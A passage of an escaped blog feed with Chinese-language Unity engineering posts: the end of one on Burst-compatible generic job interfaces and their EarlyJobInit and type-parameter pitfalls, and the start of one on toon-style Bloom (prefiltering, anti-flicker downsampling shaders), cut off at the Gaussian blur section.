class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eScheduleParallelFor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003escheduleParams\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2 id=\"避坑指南\"\u003e避坑指南\u003ca class=\"headerlink\" href=\"#避坑指南\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e写泛型 Job 接口有不少坑。\u003c/p\u003e\n\u003ch3 id=\"JobProducer-类型参数顺序\"\u003eJobProducer 类型参数顺序\u003ca class=\"headerlink\" href=\"#JobProducer-类型参数顺序\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e泛型 Job 接口,对应的 JobProducer 的类型参数顺序必须是\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003ccode\u003eTJob\u003c/code\u003e:具体的 Job 类型。\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e...T\u003c/code\u003e:\u003ccode\u003eTJob\u003c/code\u003e 实现的 Job 接口的类型参数。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e否则不兼容 Burst Compiler。这个在 Burst 源码 \u003ccode\u003eRuntime/Editor/BurstReflection.cs\u003c/code\u003e 里的 \u003ccode\u003eScanJobType\u003c/code\u003e 方法里写死了。\u003c/p\u003e\n\u003cp\u003e比如 \u003ccode\u003eIJobParallelForAppend\u0026lt;TValue\u0026gt;\u003c/code\u003e 对应 \u003ccode\u003eParallelForAppendProducer\u0026lt;TJob, TValue\u0026gt;\u003c/code\u003e。\u003c/p\u003e\n\u003ch3 id=\"EarlyJobInit-类型参数数量\"\u003eEarlyJobInit 类型参数数量\u003ca class=\"headerlink\" href=\"#EarlyJobInit-类型参数数量\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e这个太坑了。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eWhen the Collections package is included in the project, Unity generates code to call EarlyJobInit at startup. This allows Burst compiled code to schedule jobs because the reflection part of initialization, which is not compatible with burst compiler constraints, has already happened in EarlyJobInit. \u003csup id=\"fnref:2\"\u003e\u003ca class=\"footnote-ref\" href=\"#fn:2\"\u003e2\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e生成的代码:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"na\"\u003e[Unity.Jobs.DOTSCompilerGenerated]\u003c/span\u003e\n\u003cspan class=\"k\"\u003einternal\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eclass\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003e__JobReflectionRegistrationOutput__2275960884\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eCreateJobReflectionData\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etry\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIJobParallelForAppendExtensions\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eEarlyJobInit\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTestJob\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecatch\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eException\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eex\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEarlyInitHelpers\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eJobReflectionDataCreationFailed\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eex\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"na\"\u003e[InitializeOnLoadMethod]\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eEarlyInit\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCreateJobReflectionData\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e它调用 \u003ccode\u003eEarlyJobInit\u003c/code\u003e 时只给了一个 \u003ccode\u003eTJob\u003c/code\u003e 类型参数。如果我们声明的是 \u003ccode\u003eEarlyJobInit\u0026lt;TJob, TValue\u0026gt;\u003c/code\u003e 就会报错。这个在 Collections 源码 \u003ccode\u003eUnity.Collections.CodeGen/JobReflectionDataPostProcessor.cs\u003c/code\u003e 的 \u003ccode\u003eGenerateCalls\u003c/code\u003e 方法里写死了。。。\u003c/p\u003e\n\u003cdiv class=\"footnote\"\u003e\n\u003chr /\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003e\u003ca href=\"https://docs.unity3d.com/Packages/com.unity.collections@2.4/changelog/CHANGELOG.html#changed-10\"\u003ehttps://docs.unity3d.com/Packages/com.unity.collections@2.4/changelog/CHANGELOG.html#changed-10\u003c/a\u003e\u0026#160;\u003ca class=\"footnote-backref\" href=\"#fnref:1\" title=\"Jump back to footnote 1 in the text\"\u003e\u0026#8617;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:2\"\u003e\n\u003cp\u003e\u003ca href=\"https://docs.unity3d.com/Packages/com.unity.collections@2.4/api/Unity.Jobs.IJobFilterExtensions.html\"\u003ehttps://docs.unity3d.com/Packages/com.unity.collections@2.4/api/Unity.Jobs.IJobFilterExtensions.html\u003c/a\u003e\u0026#160;\u003ca class=\"footnote-backref\" href=\"#fnref:2\" title=\"Jump back to footnote 2 in the text\"\u003e\u0026#8617;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/unity-job-parallel-for-append/"},{"title":"仿星铁渲染:Bloom","time":"2024-03-05T10:19:01Z","content":"\u003ch1 id=\"仿星铁渲染Bloom\"\u003e仿星铁渲染:Bloom\u003ca class=\"headerlink\" href=\"#仿星铁渲染Bloom\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e卡通渲染里 Bloom 还是挺重要的,它能对画面起到润色作用,比简单地后期调高饱和度要好看很多。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Bloom 效果图\" src=\"../../../obsidian-vault/attachments/bloom-toon.png\" /\u003e\u003c/p\u003e\n\u003ch2 id=\"大致流程图\"\u003e大致流程图\u003ca class=\"headerlink\" href=\"#大致流程图\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cpre class=\"mermaid\"\u003e\u003ccode\u003eflowchart TD\n Original[原图] -- 预处理 --\u0026gt; Mip0\n\n Mip0 -- 降采样 --\u0026gt; Mip1\n Mip1 -- 降采样 --\u0026gt; Mip2\n Mip2 -- 降采样 --\u0026gt; Mip3\n Mip3 -- 降采样 --\u0026gt; Mip4\n Mip4 -- 降采样 --\u0026gt; Mip5\n\n Mip2 -- 高斯模糊 --\u0026gt; Mip2Blur\n Mip3 -- 高斯模糊 --\u0026gt; Mip3Blur\n Mip4 -- 高斯模糊 --\u0026gt; Mip4Blur\n Mip5 -- 高斯模糊 --\u0026gt; Mip5Blur\n\n Mip2Blur -- 合并 --\u0026gt; BloomTexture\n Mip3Blur -- 合并 --\u0026gt; BloomTexture\n Mip4Blur -- 合并 --\u0026gt; BloomTexture\n Mip5Blur -- 合并 --\u0026gt; BloomTexture\n\n BloomTexture -- 叠加 --\u0026gt; Result[结果]\n Original -- 叠加 --\u0026gt; Result\u003c/code\u003e\u003c/pre\u003e\n\u003ch2 id=\"注意-HDR\"\u003e注意 HDR\u003ca class=\"headerlink\" href=\"#注意-HDR\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e参考 URP Bloom 的 \u003ccode\u003eEncodeHDR\u003c/code\u003e 和 \u003ccode\u003eDecodeHDR\u003c/code\u003e。Bloom 可能导致像素值超过 1,部分不支持 B10G11R11 RT 的设备要用 R8G8B8A8 RT 和 RGBM 编码。\u003c/p\u003e\n\u003ch2 id=\"预处理\"\u003e预处理\u003ca class=\"headerlink\" href=\"#预处理\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e预处理就是把图像中较亮的部分提取出来。卡通渲染里一般直接减去一个阈值即可。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003emax\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_BloomThreshold\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003errr\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e有需要的话,之后还可以给 \u003ccode\u003ecolor\u003c/code\u003e 乘上一个强度。\u003c/p\u003e\n\u003ch2 id=\"降采样\"\u003e降采样\u003ca class=\"headerlink\" href=\"#降采样\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e降采样是为了之后用较小的卷积核模糊更大的范围,就是 Mipmap 的思路。一般用 bilinear 每次长和宽都减少一半。\u003c/p\u003e\n\u003ch3 id=\"避免闪烁\"\u003e避免闪烁\u003ca class=\"headerlink\" href=\"#避免闪烁\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e常见的方法是 COD 用的 Karis Average:在第一次降采样时,给颜色乘上一个 \u003ccode\u003eweight\u003c/code\u003e,避免出现超级亮的像素。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eluma\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003edot\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat3\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mf\"\u003e0.2126\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0.7152\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0.0722\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eweight\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e1.0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mf\"\u003e1.0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eluma\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eweight\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e这个会降低颜色的饱和度,对卡通渲染来说比较难受,所以我没用。\u003c/p\u003e\n\u003cp\u003e其实,闪烁主要的原因是有单独几个超亮像素一会出现一会消失。可以在降采样时,和周围的像素做加权平均,把亮度压下去。这样如果一个像素周围很亮,那么它还是很亮,产生稳定的泛光。如果一个像素周围都是暗的,它的亮度也会被压下去,闪烁就减少了。这个方法对颜色的饱和度没有很大影响,至少肉眼看不出来。\u003c/p\u003e\n\u003cp\u003e在 Vertex Shader 里,计算四个 uv 坐标。坐标都取在像素之间,后面 Fragment Shader 里用 bilinear 采样。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etexelSize\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_BlitTexture_TexelSize\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoffset1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoffset2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"n\"\u003euv1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etexelSize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exyxy\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoffset1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoutput\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etexcoord\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exyxy\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"n\"\u003euv2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etexelSize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exyxy\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoffset2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoutput\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etexcoord\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exyxy\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e在 Fragment Shader 里,采样,然后计算平均值。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003ehalf3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ec1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDecodeHDR\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSAMPLE_TEXTURE2D_X\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_BlitTexture\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esampler_LinearClamp\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003euv1\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exy\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"kt\"\u003ehalf3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ec2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDecodeHDR\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSAMPLE_TEXTURE2D_X\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_BlitTexture\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esampler_LinearClamp\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003euv1\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ezw\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"kt\"\u003ehalf3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ec3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDecodeHDR\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSAMPLE_TEXTURE2D_X\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_BlitTexture\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esampler_LinearClamp\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003euv2\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exy\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"kt\"\u003ehalf3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ec4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDecodeHDR\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSAMPLE_TEXTURE2D_X\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_BlitTexture\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esampler_LinearClamp\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003euv2\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ezw\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEncodeHDR\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mf\"\u003e0.25\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ec1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ec2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ec3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ec4\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2 id=\"高斯模糊\"\u003e高斯模糊\u003ca class=\"headerlink\" href=\"#高斯模糊\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e设 \u003cspan class=\"arithmatex\"\u003e\\(G(x,y)\\)\u003c/span\u003e 是二维 \u003ca href=\"../../../ecde-afda-cebi/\"\u003e正态分布\u003c/a\u003e 的概率密度函数,\u003cspan 